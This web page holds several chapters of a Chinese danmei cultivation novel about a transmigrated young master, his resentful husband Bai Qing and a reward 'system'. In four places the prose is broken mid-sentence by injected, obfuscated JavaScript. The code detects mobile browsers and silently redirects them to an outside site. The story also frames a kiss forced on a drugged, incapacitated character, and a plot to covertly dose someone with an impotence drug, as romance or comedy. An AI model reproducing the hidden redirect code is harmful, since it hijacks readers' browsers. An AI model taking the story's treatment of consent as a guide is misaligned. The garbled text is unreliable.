温天霁杏眸半眯半睁,湿漉漉地盯着丁凌风的侧脸,呼出的气息滚烫灼热。 原本只是伸出一条手臂,他在挣扎间,整个上身都挂在了丁凌风身上,那湿热的汗水从他额头上滴落,掉进了丁凌风的衣领里,最后落在锁骨之上。 丁凌风只觉得自己锁骨上的那滴汗水烫得惊人,仿佛这滴汗水能将他整个人烧熟。 就在丁凌风怔神的瞬间,温天霁被柏清夺走。 柏清按住温天霁不老实的两只手,吸了一口冷气,吐出一口热气:“丁兄,解药。” 丁凌风如梦方醒,手忙脚乱地从药瓶中倒出两颗药丸:“我来。” 柏清却不由分说地夺过药丸:“我来。” 这时,温天霁忽然发力,坐到柏清的腿上,笔直修长的双腿缠住柏清的腰,将下颔搁在柏清的肩颈上,不停娇喘:“我要……给我……” 柏清顿时头脑有些不太清醒,但他到底是男主,定力惊人,强忍着施虐欺凌的欲望,将两粒蕴含了九转还魂草和千年雪莲药性的药丸,塞入温天霁口中。 温天霁乍一尝到苦涩的滋味,便用嫩红的舌尖将药丸顶了出来。 他眼神迷离,浑身泛红,坐在柏清腿上不停地磨蹭:“嗯……” 柏清饶是定力再好,这时候也微微举旗致敬,但是碍于丁凌风在旁,不好对温天霁做些什么,便一把将温天霁推在床上,再次用锦被将人裹好。 他看着温天霁的舌尖将药丸顶了出来,便心头生出一股难言的欲望,伸手,用食指与中指将药丸顶了进去。 药丸逐渐融化在口腔中,柏清的双指也变得湿润起来。 柏清看向丁凌风,神情不悦,声音沙哑:“拿水来。” 丁凌风在一旁看着这活色生香的场面,竟然对温天霁产生了难以言说的冲动。他闻言,站了起来,想要驱散这股冲动,但是这股冲动却如影随形。 丁凌风赶紧从桌子上拿起水杯,将其斟满,递给柏清。 柏清喝了一口水,俯下身去,擒住温天霁的香唇,而后撬开对方的唇齿,将水渡了过去。 温天霁下意识地吞咽,将药水和茶水一并饮下。 不多时,药水开始发挥作用。 温天霁体内,烧灼四肢百骸的那股滚烫,逐渐被清凉抚平。与此同时,他也开始逐渐恢复理智和清醒。 他竭力睁开双眼,眼前是柏清的双眸。 他试图想要舔舐自己的下唇,却被一道柔韧的东西堵住。 这是? 他、被、柏、清、亲、了! 等反应过来后,温天霁想要伸手去推堵在自己身上的柏清。结果,因为双手无力,这推拒反倒变成了调情的戏码。 “够了!”还是丁凌风看不过去,出声提醒。 柏清施施然起身,抿了一下唇,眸色幽深晦暗,似乎在回味。 温天霁见到柏清这模样,气不打一处来,扬起手,给了柏清一个软绵绵的巴掌:“柏清……你趁人之危,不要脸……” 九转还魂草和千年雪莲才刚刚起效,因此温天霁还是说一句话,需要喘息一下。 他这一巴掌,和刚刚的推拒一般,都给了柏清一种调情的错觉。 柏清知道温天霁想要打他,但是因为效果喜人,便也生不出气来了,竟然意外还觉得温天霁有些许可爱。 一个嚣张跋扈、为非作歹的美人,忽然变得软糯可欺,那你多少会生出一些恶劣的心思。 而当你对这恶毒的病美人产生了那种心思后,便也会像柏清一般,觉得他可爱了。 柏清在知道眼前这个张牙舞爪,宛若炸毛小猫的病美人伤害不了自己后,便有了三分宠溺的心情,略带温柔地看着对方。 丁凌风见温天霁恢复清醒,便转身离开,离开前叮嘱道:“这两味药彻底发挥镇静的药性,还需一个时辰,你们在这里等着吧。” 说完,把门关上。 屋内,温天霁气得浑身颤抖。 两世为人,刚刚那个吻都可算他的初吻。 可怜他的初吻,就这么草率地给了一头后宫文里勤恳播种的种马。 不过话说起来,这个吻,也是柏清的初吻,但温天霁管不了这许多,直接开骂。 “丁凌风会送解药的,你干什么还要对我动手动脚。” 说话间,温天霁掀开被子,检查自己的身子。 他发现,除了衣衫不整,以及手腕上留有指印外,其他地方都很干净,说明自己没有被柏清这头种马染指。 他悄悄松了一口气。 柏清却坐在床边,微笑注视温天霁:“妻主所言甚是,下次我不动手动脚便是了。” 温天霁气不过,又给了柏清软绵绵的一巴掌:“你还想有下一次?” “不敢。”柏清嘴上这么说,心里却想,若是有下一次好像也不错的样子。 温天霁发了一通火后,才觉察到自己浑身乏力,便转过身去,躺在床上,嘟嘟囔囔:“真是倒霉,就当被狗咬了一口。” 一个时辰后,温天霁终于恢复了些许气力。 他艰难地穿好鞋袜,刚一迈步,就双腿一软,要不是柏清及时搂住他,他便要摔倒在地。 “你扶我。”温天霁颐指气使。 柏清轻笑一声,直接将温天霁打横抱起。 推开门,看见门口站着三三两两的人,他们见到温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156292|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天霁和柏清出来了,便作鸟兽散。 柏清抱着温天霁,走到座位上,轻轻将温天霁放了下来。 温天霁自然不敢再喝酒,也不敢轻易吃东西,便坐在位置上听人闲聊。 “都传那赘婿软饭硬吃,不肯碰温家二公子,看来传言也不能尽信啊。” “怎么我听到的版本,是温天霁将柏清当作炉鼎,因此柏清才厌恶温天霁,不肯碰温天霁的。” “不管哪个版本,都是假的。你们看,那柏清都将温天霁做得腿软,不能走路了。” 温天霁是个修真之人,耳聪目明,听得一清二楚。 他很想反驳:他是攻!他才没有被柏清做得腿软!要做,也是他做柏清! 不对,重点是,他和柏清根本没有做啊! 温天霁面色涨红,想杀人的心都有了。 他很讨厌柏清这头种马的好不好?根本不想和柏清有那方面的绯闻。 实在听不下去,温天霁想要起身,但是因为刚刚解了春药的药性,浑身乏力,险些撞在桌边。还是柏清搂了他一把,他才撑着桌面,堪堪稳住身形。 没有办法,温天霁目光凶残,恶狠狠地盯着柏清,咬牙切齿:“你送我回温家。” 离开之前,他还听见丁家家主劝告丁凌风:“你看,人家温天霁和柏清恩爱有加,享鱼水之欢一个时辰才从房间里走出来。你就不要再惦记柏清了,为父来日给你找个好人家。” 温天霁被雷得外焦里嫩,当即把手伸向后面,掐了柏清的腰一下。 “你干什么?”柏清将温天霁搂在怀中御剑,冷不丁被掐了一下,差点坠剑。 “都怪你!” 温天霁早就想清楚自己什么时候中春药的了,肯定是何婉茹来找自己探讨剑道的时候。 何婉茹为什么会来找他探讨剑道呢? 还不是柏清不肯出头,所以他激动地拍桌子,从而被何婉茹选中上场舞剑导致的。 他中春药的源头,就是柏清不肯上场。 都怪柏清。 柏清:“……” 这也怪他? … 一盏茶的功夫后,他们便从丁家来到了太春峰的山脚下。 温家坐落在太春峰山巅,太春峰山脚有一泓温泉。 温天霁刚出了一身的汗,便吩咐柏清:“去温泉处,我要洗个澡。” 柏清很听话地御剑拐了个弯,停在了温泉旁边。 温泉旁边种满了湘妃竹,又因为撒了药粉,这里也没有蚊虫,看起来很是风雅的一处地方。 温天霁落地后,腿脚酸软,也是扶着柏清的手才站稳。 他不想扶着柏清,索性一屁股坐了下来:“你先背过身去,等我洗完澡穿好衣服,你再转过来。” 柏清很听话地照做。 随后,便是窸窸窣窣脱衣服的声音,入水的声音,洗澡的水声。 柏清不久前才将温天霁看个半光,所以现在他依靠想象,在脑海中,很清晰地将温天霁洗澡的画面勾勒出来。 对方瓷白细腻的肌肤,会被偏热的水蒸腾成嫩粉色。 这样肌肤,不用想也知道,只需用手指掐一下,就会留下鲜红的指印。 回过神来,柏清觉得自己有点变态,竟然会对着温天霁想入非非。 两刻钟后,温天霁终于从温泉中爬了出来,用了个净水咒去除身上的泉水,而后从储物袋中取出一件玄色红襟的衣服来套上。 “好了,带我回去。”温天霁刚泡完澡,声音糯糯的。 5. 第 5 章 回到自己的卧房内,已是月上中天。 温天霁脱了衣服后,钻进被窝里,本来想冲柏清招招手,让柏清替他暖床。 但想到不久之前柏清亲了自己,还让自己被众人误会和柏清做了一个时辰的恨,他就兴不起这个念头了。 身体非常的疲乏,加上精神也有些萎靡不振,温天霁就连听柏清念话本的兴趣都没了。 “还好吗?”柏清问出这句话的时候,自己也有点心惊。 因为他竟然真心实意地在关心温天霁,因为温天霁的萎靡而感到担忧。 他这是怎么了? 柏清不禁微微皱起眉头,开始质问自己。 虽然绑定了一个男妻系统,要求他对温天霁好,还能获得奖励,但他内心里其实应该是厌恶温天霁的。 可是,这厌恶,在他收到黑玉断续膏后,见到温天霁情动时摄人心魄的模样后,便消失得无影无踪了。 取而代之的,是他对温天霁耍小性子的宽容和溺爱。 难道真是色令智昏了? 不行,不能放任自己再这么宽容下去。 柏清眼神晦暗不明,告诫自己:“温天霁娶我,就是为了把我当作炉鼎。若是我爱上他了,他必然会将我榨干,让我沦为彻头彻尾的废物。” 这样想着,柏清才觉得自己头脑清明了起来。 而温天霁则躺在被窝里,没好气地翻了一个白眼:“我好不好,你看不出来吗?你要是中了春药,而后服用了大量镇定草药,你也好不起来。” 柏清眼神复杂地看向温天霁,假装温柔道:“要不要我给你读一下话本《仙之逆》?” “不用了,”温天霁闷闷道,“今天暂时没什么兴趣听话本。” 柏清轻笑一声,笑意不达眼底,试探着问:“要不要我给你暖床?” “不用。”温天霁觉得有点冷,但还是很有骨气地拒绝了,“今天看见你就烦,你给我滚远点。” “好。”柏清也乐得清静,转身就走。 柏清离开之后,温天霁正打算睡觉,就听到男妻系统的机械音:“任务完成度百分之五十,奖励《素女心经》上册。” 温天霁顿时不困了。 … 翌日,温天霁醒过来的时候,发现自己一点力气也没有,声音也沙哑得不像话。 “喊陈医修过来。”温天霁虚软无力,说一句话还需要喘三下。 照理说,九转还魂草和千年雪莲是没有副作用的,不应该让他这么虚弱。 但他不知道的是,他这么虚弱和九转还魂草、千年雪莲没有关系,纯属是被春药拖累的,虽然解了药性,但春药毕竟发作过,不可能一点痕迹都没有。 柏清见他这半死不活的模样,有点盼着他真死了,又觉得他长得这么好看,死了可惜。半晌,才转身去寻陈医修。 不多时,陈医修便过来替温天霁把脉。 随着时间的流逝,陈医修眉头皱得越来越紧,最后能夹死一只蚊子。 温天霁险些以为自己害了什么绝症,要命丧当场。 陈医修捋了捋花白的胡子,咳嗽了两声,沉吟道:“你体虚,这身子恐怕不能纵欲,还请珍惜自己。” 温天霁:“……” 他要骂人了。 他哪里纵欲了? 就算中了春药,他也没有纾解好不好? 温天霁挥了挥手,无语道:“你给我开点固体的药。” 陈医修点点头,末了,拉着柏清的手叮嘱:“小少爷身子弱,你应当爱惜他,不要纵容他一味地沉溺巫山云雨。” 柏清:“……” 他也很想骂人。 等到陈医修离开,房间内就只剩下温天霁和柏清两个人了。 温天霁浑身发软,没法自己穿衣,于是对柏清道:“喂,帮我穿下衣服。” 柏清二话不说,走上前去,将温天霁从被子里捞了出来,耐心地将衣物给温天霁套上,而后系上繁复的衣扣。 温天霁穿好衣服后,逞能,想要自己走两步,结果,刚迈出一只脚,就跌在柏清身上。 “妻主,小心。”柏清扶着温天霁。 这距离,他能闻到温天霁身上传来的淡淡梅花沐浴露香气。 温天霁只要一想到,自己这么悲惨,是被柏清害的,就火冒三丈。 他凶狠地用肘弯锤了柏清一下子。 但是柏清是修仙者,有金丹的修为,只要温天霁没有用上灵力,这捶打就像挠痒痒似的,根本就不痛,没什么震慑作用。 而温天霁这行为,反而让柏清想到了他曾经喂养过的那只流浪猫。 看起来张牙舞爪,其实只是虚张声势。 “妻主不要投怀送抱,”柏清忍俊不禁,打趣道,“不然我就忍不住了。” 温天霁闻言,顿时悚然大惊,使出浑身的气力,后跳一步,试图离柏清远远的。 温天霁早就发现了,这个柏清有点不对劲,和原著中的不一样。 原著中的柏清宁折不弯,整个人桀骜不驯,就算被打得半死,也誓死不碰原身一下。而眼前的这个柏清,自从他传来以后,总是对他动手动脚。 如果他没有看错的话,昨天柏清亲他的时候,还微微举旗致敬了。 温天霁浑身汗毛倒立,颤声道:“谁投怀送抱了?!你别对我动手动脚就不错了!你个无赖,真应该把你给骟了。” 柏清直觉地意识到,从地牢里出来后,温天霁就发生了变化。 以前的温天霁给他的印象是阴狠毒辣,而眼前的温天霁给他的印象是娇蛮泼辣。 所以当温天霁说出这段话的时候,柏清又不可自制地微笑起来,默默注视着温天霁,眼神略带几分无奈和宠溺。 他这眼神,看得温天霁直发毛,当真害怕柏清对他起了□□,想要将他酱酱酿酿。 片刻后,柏清才伸出胳膊:“妻主,你扶着我,我们到院子里走走。你放心,我不会真对你怎么样的,我不至于这么禽兽,你还病着呢。” 这话说的,像是温天霁不病着了,他就会对温天霁怎么样一样。 温天霁听了,还是觉得分外别扭。 但温天霁心大,没有细想,扶着柏清的胳膊,勉力走了起来。 在院子中走了大概一刻钟,温天霁便气喘吁吁,直呼:“不行了,让我休息一会儿。” 柏清也依着他:“好的,妻主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156293|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人,慢慢来,不着急,我随时都在。” 就这样走走停停,走了一个半时辰后,陈医修端着药碗走了过来。 柏清一手搀扶着温天霁,一手接过药碗:“陈医修,麻烦了,我来喂妻主,你先回去吧。” 陈医修见柏清这么识趣,当即笑呵呵道:“好。” 回到卧室内,温天霁坐在桌子边,想要接手药碗,结果柏清挪了一下手,说:“妻主,我来喂你。” 温天霁冷哼一声,撇了一下嘴:“我又不是三岁小孩子。” 可他这副可爱的样子,在柏清眼里,和三岁小孩子也没有差别了。 柏清只是笑了笑,伸手舀了一勺药汁,递到温天霁嘴边:“啊,张嘴。” 温天霁忍无可忍,拍了一下桌子:“你给我放下!” 柏清耸了耸肩,无奈放下药碗,看着温天霁自己一勺一勺喝完了苦涩的药汁。 柏清从柜子里取出麦芽糖,塞进了温天霁嘴里,哄小孩一样:“不苦了,甜甜的。” 温天霁额角突突,觉得自己的耐心即将告罄。 他抬起头,郑重其事道:“柏清,我看你是皮痒了,想要挨弑神鞭你就直说。再敢把我当三岁小孩哄,你就等着皮开肉绽吧。” 柏清听到这段话,才想起自己之前受的皮肉之苦,顿时收起了逗猫时才有的好心情。 温天霁满意地看着柏清表情由晴转阴,见到柏清不爽了,他心中就快活了几分。 就在温天霁还想再辱骂柏清之际,院子里传来沉稳的脚步声。 温天霁一听,就知道来人是大哥温满。 他虽然喝了药,但身子照样乏力,便指使柏清:“去开门。” “是,妻主。”柏清声音很是冷漠,眼神也阴暗深沉。 柏清开了门,退到门后,给温满让路。 温满急匆匆走到温天霁面前,躬身弯腰,直视椅子上的温天霁:“霁儿,为兄有件很重要的事,想要和你说。” 温天霁见温满神色凝重,不免心中起了好奇:“大哥,什么事?” 温满叹了一口气,没有说是什么事,而是道:“霁儿,你也知道,大哥这个温家家主之位不稳吧?” 温天霁:“……” 啊,他不知道啊。 小说里没有写到过。 温天霁抿了抿唇,认真地点头:“知道。” “大长老温无痕对我虎视眈眈,”温满道,“加上他在温家地位高,他打定主意,说要你也参加旭日大比,为兄实在没办法,反驳不得。” 温天霁听到这里,总算明白是什么事了:“大哥,也就是说,明天的旭日大比,我也要参加?” “不错。”温满对自己的无能有些懊恼,“这些年来,温家供养了不少族人,但最好的资源却给了你。这让以温无痕为首的族人很是不满,尤其是你冲击金丹失败之后。” 温天霁还当什么大事呢,当即挥了挥手,表示:“没有问题,大哥你就对我放心吧。” 自从和何婉茹舞剑后,温天霁就对自己的实力有了个大概的估量,更何况他还有洗髓丸没有用。 以他的实力,参加旭日大比,拿个前三名,不成问题。 6. 第 6 章 温满眼中略带焦虑和急切:“你要我怎么放心。明日卯时便要抽签,抽完签就是第一轮比赛,可你不久前还卧病在床……” 未尽之意是,温天霁根本上不了场,就算上场也很快就会丢盔弃甲。 说到卧病在床这件事,温满因为昨日没去丁家赴宴,所以还不知道发生了什么,以为温天霁只是旧疾复发。 温天霁想了一下,便对温满和盘托出:“大哥还不知道呢,我发病是因为我着了道,中了春药,并不是旧疾复发。” “春药?!”温满那英俊的面孔顿时扭曲了起来,焦急道,“你没事吧?” “我没事,多亏丁小公子帮忙拿了解药。”温天霁现在说起来,也有点后怕。要是出了个什么差错,他的清白就全交代在柏清手里了。 想到这里,温天霁恶狠狠地甩了柏清一个眼刀。 他的动作并不隐蔽,因此温满第一时间便发现了,转头看向柏清,眼神森冷:“柏清,你又没有保护好霁儿,竟让他中了春药。” 温天霁想到上一次柏清“没有”保护好他,温满直接用弑神鞭往柏清身上抽,那血肉模糊的场景还直叫温天霁胆战心惊。 温天霁虽然性子恶劣,但灵魂到底是生长在红旗下,没见过血肉的青年,对这样的惩罚还是有些抵触。 他生怕温满又将柏清关到地牢里,加以鞭刑,将柏清虐得不成人形,导致柏清记恨自己,最后龙王归来后将自己做成人彘。 于是他急忙开口:“大哥,我自会惩罚柏清,还请你不要插手。” 温满眯起双眼,对此保持怀疑。 他发现,温天霁最近对柏清态度有点太好了,这让他这个弟控有点不爽。 “霁儿,你当真会教训柏清吗?” “当然。”温天霁扬起下巴,声音干净娇蛮,“我会让他生不如死,大哥,你就放心吧。” 温满半信半疑,但还是微笑着点头,伸手揉了揉温天霁的脑袋。 一旁的柏清则面色沉沉,他就知道,温天霁不安好心,不可能这么轻易放过他。 亏他觉得温天霁有些变化,原来这一切都是他的自作多情。 温天霁瞥了一眼柏清,忽视掉对方,看向温满,把话题扯回来:“对了,大哥,我之所以现在这么虚弱,恐怕是春药的后遗症。陈医修看不出来,还请大哥带我去医修世家柳家看一下。” 温满思量再三,回道:“柳家的大公子和你有龃龉,但你放心,我就算拉下这张老脸,也要他治好你。” 温天霁对温满的回答颇为满意,他就是享受对方为他付出的感觉。 两人既然说定,那也就亟待出发。 临走之前,温天霁对温满道:“大哥,我们带上柏清。” “带上他做什么?”温满不解,随后眼神变得凌厉起来。 难道霁儿中春药期间,柏清对霁儿不轨了,这才需要带上他? 温天霁凑到温满身旁,扒着温满的肩膀, 传音入密:“我不是说要惩罚柏清吗?我们带柏清过去,待会儿让柳琛忱给柏清开一剂阳痿的药。” 这段话正中温满下怀。 温满对温天霁的占有欲非常强烈,他一开始是不同意温天霁娶柏清这个赘婿的,生怕柏清抢走温天霁。 但是考虑到温天霁冲击元婴失败后,修炼困难,便同意将柏清娶回来,当炉鼎使用。 岂料柏清宁死不屈,根本不肯碰温天霁。 既然如此,那就让柏清也碰不了其他任何人,当个天阉。 温天霁和温满两个人对视一笑,算是默认了这个法子。 而柏清不明所以,看着温天霁和温满两个人亲昵的样子,虽知道他们两人是亲兄弟,心中竟也生出了一丝不悦。 这种不悦,源自于本该是他的东西,结果被别人染指后的那种不甘。 柏清这时候还没有意识到,他已经将温天霁划分为自己的东西了,产生了占有欲。 … 到了医修世家柳家,前来接待他们的人是柳家大公子——柳琛忱。 柳琛忱见到他们,第一眼扫过柏清,而后才将视线落在温满与温天霁身上。 “温家主,温二公子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156294|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏清好。”柳琛忱长得文雅,行事也文雅。他作揖问道:“敢问三位来此,所为何事?” 温满刚想开口说话,温天霁便扯了扯温满的衣袖,撒娇道:“哥,我接下来对柳大公子说的话,有些让人害臊,你暂且避一避好不好?” 温天霁说话的时候,满眼的希冀,令这双美目看得人目眩神迷。 温满还没来得及细想,便惯性般地答应:“好。” 他既然答应了,温天霁就笑吟吟地推着他:“大哥,你走远些,莫要偷听。” “好。”温满只得笑笑,走了开去。 等待他走远了,温天霁才开口问柳琛忱:“你昨晚去了丁家,应该知道我和柏清在房间里单独待了一个时辰的事吧?” 柳琛忱闻言,作为柏清爱慕者一员的他,内心几欲呕血,面上却还要装作云淡风轻:“知道。” 温天霁好笑地看着他死装,解释道:“那是因为我中了春药。” 此言一出,柳琛忱彻底绝望了。 如果说昨晚柏清和温天霁单独待了一个小时,他还可以安慰自己说他们两个人只是聊聊天,事后柏清抱温天霁出来,也可以说是温天霁体弱多病。 那么“春药”这两个字一出,他所有美好的假设都破灭了。 柳琛忱手指无意识地抽搐一下,强颜欢笑:“哦?我对温二公子和柏道友之间的事情没有兴趣。” “不。”温天霁走上前去,伸出一根食指,点了柳琛忱的胸口一下,“你分明非常在意,怎么还偏偏装作一副不在意的样子。” 温天霁说话的语气非常娇嗔,仿佛在怪罪情郎假装不认识自己一般。 柏清见状,不禁微微蹙眉,心中又泛起那股莫名其妙的不悦来。 他怎么现在才发现,温天霁这个人,这么会拈花惹草。 之前春药药性发作的时候,温天霁搂着丁凌风的脖颈,亲了对方耳畔一下,闹得丁凌风一个大红脸。这次,又开始和柳琛忱“打情骂俏”起来了。 柳琛忱闻言,后退一步,抿了抿唇,装傻:“我不知温二公子在说些什么。” 7. 第 7 章 温天霁微微抬头,用看狗都深情的杏眸,冷冷瞥了柳琛忱一眼,哼唧道:“别以为我不知道,你觊觎我夫君很久了。” 此言一出,柳琛忱还没有什么反应,柏清先是一惊。 柳琛忱喜欢他,他怎么不知道? 倘若说丁凌风暗恋自己,柏清是心知肚明的,那么柳琛忱喜欢他,他就觉得是温天霁胡说八道了。 “妻主,你是不是误会了?”柏清忍了忍,没忍住,插话道。 温天霁本来注视着柳琛忱,好整以暇地等待观察对方表情,乍一听到柏清开口说话,就转头看向柏清,微微蹙眉:“这里有你说话的份吗?” 他声音骄矜,含着点冬日里凌凌的冷意,干净而动听。 若是以前的柏清听到这句话,肯定像被点燃的炸药桶般,鼻子不是鼻子,眼睛不是眼睛,少不了又要给温天霁脸色瞧。 但是不知为何,柏清如今再听到温天霁训斥自己,便会想起对方在床榻上,无意识轻哼自己姓名的场景,那时温天霁也是这样干净动听的一把嗓子。 于是柏清只好苦笑两声,不用系统提醒,自己便道:“妻主教训得是。” “柏清……”柳琛忱看向柏清,满眼的难以置信,“你怎么……” 你怎么向温天霁这种人低头了? 温天霁听到柳琛忱的声音,这才复又看向柳琛忱。他瞧见柳琛忱那震惊的模样,就有点想笑。 温天霁刚想开口说话,男妻系统忽地出声:“请宿主遵循人设,羞辱柏清,任务奖励:玄晶石。” 玄晶石,还是温天霁在记忆里搜刮了一遍才想起来的东西。 它是一种极其稀少罕见的原材料,可以用来铸剑,据说用它打造出来的本命剑,能斩世间一切。 温天霁:“……” 不是他想羞辱柏清,而是系统给得太多。 他思量再三,终是斜睨着柳琛忱,好笑道:“怎么,柳大公子,看到我的狗对我毕恭毕敬,喜欢上一条狗的你,心里难受了吧?” 柏清闻言,饶是对温天霁滤镜再厚,也忍不住动怒了。 就在他咬牙切齿的当下,男德系统发出警告:“请宿主维护男妻温天霁的一切言行,切莫反驳,否则将遭受电击。” 柏清深吸一口气,忍了忍,不再出声。 温天霁用余光看到柏清似乎动怒了,而最后归于平静。 柳琛忱是个体面人,心里再恼火,面上也装得若无其事:“温二公子开玩笑了。再说柏清是活生生的人,请温二公子尊重他,不要随意贬低。” “哦?”温天霁咯咯笑了起来,转向柏清,用纤纤玉指指着柏清的胸膛,“你说说看,在我面前,你是人还是一条忠心耿耿的狗?” 老实说,温天霁表面上云淡风轻,实际上心里慌得一批。 他根本不确定,问出这句话之后,柏清会是什么反应。 根据小说里写的,柏清时常因为忤逆、攻击原主,而遭受原主惨无人道的折磨。 也就是说,柏清要是因为自己的羞辱而勃然大怒,那是有可能会攻击自己的,温天霁心中惴惴。 但是为了完成系统的任务,顺利得到玄晶石,他也顾不得这么多了。 柏清面上表情变换,最后定格在虚伪的温柔上面,他佯装深情道:“我自然是妻主手下一条忠心耿耿的良犬。” 这句话,不仅让温天霁有些惊讶,也让柳琛忱大为震撼。 在柳琛忱心中,柏清光风霁月,若不是因为温家能够救助柏清的养母,柏清是决计不会入赘的。 而入赘后,柏清受尽虐待却仍宁折不弯,挺直了脊梁做人,让他钦佩不已。 但是,现在谁来告诉他,眼前这个承认自己是温天霁的一条狗的人,是谁? 是柏清吗? “柏清……”柳琛忱紧盯着柏清,委婉道,“你是不是有什么苦衷?” 温天霁也很好奇,柏清到底有什么苦衷,竟然真的承认是自己的一条狗。 他本来问柏清是不是自己的一条狗,纯粹是为了羞辱柏清而已,根本没有想到对方会承认。 柏清额头青筋绽出,但眸中仍然是未达眼底的情深:“我对妻主痴心一片,他说我是什么,我便是什么,没有任何苦衷。” 岂料他越是说得斩钉截铁,言之凿凿,柳琛忱就越是觉得可疑,越是觉得他有难言之隐。 柳琛忱眸色深邃,仿佛有千言万语:“柏清,你不必再说,我都懂。” 温天霁:“……” 你都懂啥了,我怎么啥都不懂,说出来听听。 温天霁在心底暗暗吐槽。 柳琛忱深吸一口气,看向温天霁时,眼中满是冷漠:“温二公子,话说你今日来柳家有什么事吗?” “当然有。”温天霁伸出手,“柳大公子,麻烦给我诊脉。” 柳琛忱:“我不是什么人的脉都诊的。况且我想,我和温二公子之间,恐怕只有旧仇,没有什么恩情值得我替你诊疗的。” 说起旧仇。 那就是原主见到柏清和柳琛忱说说笑笑,然后阴了柳琛忱,动手打得对方鼻青脸肿的事。 但是,那是原主做的,关他温天霁什么事? 温天霁毫无愧疚的心理。 “瞧你这小心眼,芝麻大点的事,都值得你记恨。”温天霁说着,上前拾起柳琛忱的手,顺便将自己的手腕搁在对方的手,“喏,快替我诊脉。” 柳琛忱被气笑了,想甩开温天霁的手,但是骨子里的教养又让他抹不开这个脸,做不出如此粗鲁的动作。 “松手。”他冷冷道。 温天霁就是吃准了柳琛忱好面子的性格,撒娇道:“不嘛,你快给我诊疗。” 也好在柳琛忱没有甩开温天霁的手,不然以温天霁现在浑身乏力的样子,这种强行握住对方手的事,根本没有力气再来第二遍。 柳琛忱抿了抿唇,心中无奈。 他明白,以温天霁这不要脸的性子,若是今天不把脉,对方是不会松开他手的了。 于是他太息一声,拾起温天霁的左手手腕,认命地把脉。 片刻后,他松手,心中却恢复了雀跃。 温天霁还是元阳之体,也就是说,温天霁和柏清没有夫妻之实! 他因此对温天霁脸色也好了些,温和道:“二公子——” 刚喊出个名头,就被温天霁咯咯笑着打断了:“柳大公子,知道的明白你喊我二公子,不知道的还以为你喊我爱公子呢。” 原来柳琛忱说话有些江南口音,二和爱分不太清。 柳琛忱被温天霁这么调笑,面上一红:“温公子,切莫笑话在下。” 一旁的柏清冷眼看着温天霁和柳琛忱握手、把脉、调笑,心中竟然生发出几分不是滋味来。 凭什么他就是温天霁的一条狗,到了柳琛忱这里,就成了爱公子之类的玩笑。 想到后来,他只能用“我到底是温天霁唯一的夫君”来宽慰自己,以证明自己在温天霁那里是有分量的。 温天霁笑了一会儿,停下,带着笑模样问:“柳大公子,我到底怎么样,能调理吗?” “可。”柳琛忱对待医学和病理是十分严谨的,若不是有几成把握,断然不会说出这个可字。 温天霁松了一口气,立马追问:“那要怎么调理?” 柳琛忱沉吟道:“要想彻底好,需要服食九香玉露丸三个月。” 温天霁微微拧起秀眉:“有没有更快好的法子,最好明天就能恢复。” “有是有,但……” 话未说完,温天霁便挥了挥手:“没有什么但是,我就想明天即刻恢复,然后好参加旭日大比。” 柳琛忱有些懊恼,又有些讶异。 他作为医修,最是懊恼患者不珍惜自己的身体,想要快速恢复,就得付出相应的代价,不是最妥帖的法子。 他又讶异温天霁这病秧子,素来被温满视若珍宝,怎地也要参加险象环生的旭日大比。 “你当真要参加旭日大比?”柳琛忱斟酌着问道。 “当真。”温天霁知道原著,明白柳琛忱是个君子,便没有什么隐瞒道,“我作为温家子弟,享尽了家中最顶尖的资源,自然要做出表率。所以我不仅要参加旭日大比,还要拿下前三名,不然难以服众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156295|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他这话说的,倒让柳琛忱有几分佩服了。 在柳琛忱的印象里,温天霁是个自私自利,只懂享乐的公子哥,没想到对方也有为人表率的决心,这的确让人刮目相看。 柳琛忱收起轻蔑的心,语气肃然:“法子是有,但我害怕你的身子经受不住。” 说完这一句,他细细分析起来:“你的任督两脉因为冲击元婴失败而变得脆弱不堪,若是强行让你恢复,就要冲击任督二脉,恐怕明天你暂时恢复,后面却会落下病根。” 